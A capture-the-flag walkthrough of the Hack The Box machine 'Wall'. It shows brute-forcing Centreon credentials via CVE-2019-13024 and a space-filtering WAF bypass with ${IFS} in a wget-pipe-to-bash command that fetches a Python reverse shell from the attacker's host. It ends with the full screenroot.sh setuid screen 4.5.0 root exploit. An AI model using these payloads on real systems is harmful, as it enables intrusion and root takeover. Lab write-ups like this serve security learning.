Introduction
Wall was an easy Linux machine from HTB that focused on RCE
/WAF
bypass to establish an initial foothold then a direct pivot to root using a vulnerable suid
binary. Let's follow along with my walkthrough.
Initial Recon
Per usual I start off with enumerating the machine using NMAP.
root@kali:~/Desktop/HTB# nmap -sC -sV 10.10.10.157
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 13:17 EDT
Nmap scan report for 10.10.10.157
Host is up (0.022s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp filtered http
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.20 seconds
The web service index page only showed a default Apache page. Ran dirb
a few times to see if we could enumerate anything further.
The monitoring
was protected by basic auth. This seemed like an interesting avenue, however no amount of brute forcing was successful. After a bit of struggling tried changing the request from a GET
to a POST
and it worked! Managed to capture a redirect through Burp
to a /centreon
page.
Alright, so we have a product, and we have a version. A quick lookup at Centreon documentation tells us that the default credentials are admin/centreon
. Unfortunately this wasn't the case - looks like someone did their due diligence and changed the default password! A little bit more research and managed to find that this version of Centreon
should be vulnerable to CVE-2019-13024. Based on the writeup and code here I used a stripped down version of the code to bruteforce the password by looking for the csrf
token being returned by the exploit. The payload portion was commented out for this phase.
root@kali:~/Desktop/HTB/Wall# while read i; do echo $i; python centreon-exploit.py http://10.10.10.157/centreon admin $i; done < ~/Desktop/rockyou.txt
...
<snip>
...
password1
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 5945037e366eaa485552d0503f86e3b9
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : 2b996d38c7dfe0c3b753f07f217e2ffd
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
Excellent, we now have the proper credentials admin/password1
. CVE-2019-13024 indicates the vulnerability is in /main.get.php?p=60901
. Setting up a listener and executing the exploit with payload enabled unfortunately did not work. Looking further at the exploit code payload to attempt and understand more what is happening.
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
I played around with different payloads and I was able to deduce that there was a WAF
in place and interfering with the payload. With a little bit of trial and error the main thing I could figure out was that spaces
were culprit. This was determined by modifying the exploit code to print out the result code of the POST
request to /main.get.php?p=60901
- a 403 return would indicate the payload was being detected by the WAF
.
Unfortunately, I was not able to get the exploit working through the script. I decided to tackle the exploit manually through the webpage. Logging in as admin/password1
then navigating to /main.get.php?p=60901
we can that the nagios_bin portion of the exploit translates to the "Monitoring Engine Binary". I tested a few different payloads without success however finally I was able to get a call to my machine to download and execute a payload.
root@kali:/var/www/html# cat pyrev.txt
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.116",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
With the following payload I was finally able to get a reverse shell established.
wget${IFS}-qO-${IFS}http://10.10.14.116/pyrev.txt${IFS}|${IFS}bash;
root@kali:~/Desktop/HTB# nc -lvnp 1337
Listening on [0.0.0.0] (family 2, port 1337)
Connection from 10.10.10.157 42836 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)
$ pwd
/usr/local/centreon/www
Root exploitation
Unfortunately I was not able to retrieve the user flag as www-data
. Popped over an enumeration script and started looking for pivot avenues. One particularly interesting result was screen-4.5.0
which had suid set.
...
[-] SUID files:
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 64424 Mar 10 2017 /bin/ping
-rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
...
I poked around a bit to see if there were any low-hanging fruit for this privesc and sure enough managed to find a searchsploit exploit.
cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
Moved the script over to Wall and kicked it off to see if we can successfully privesc to root.
And with that we had access to our root.txt flag and could easily step to the user.txt flag as well.
Extra fun
Unfortunately as a result of the privesc exploit there were a lot of remnants left on the machine. As a final act made sure to clean up after myself not to ruin anyone else's experience that happened to stumble upon these.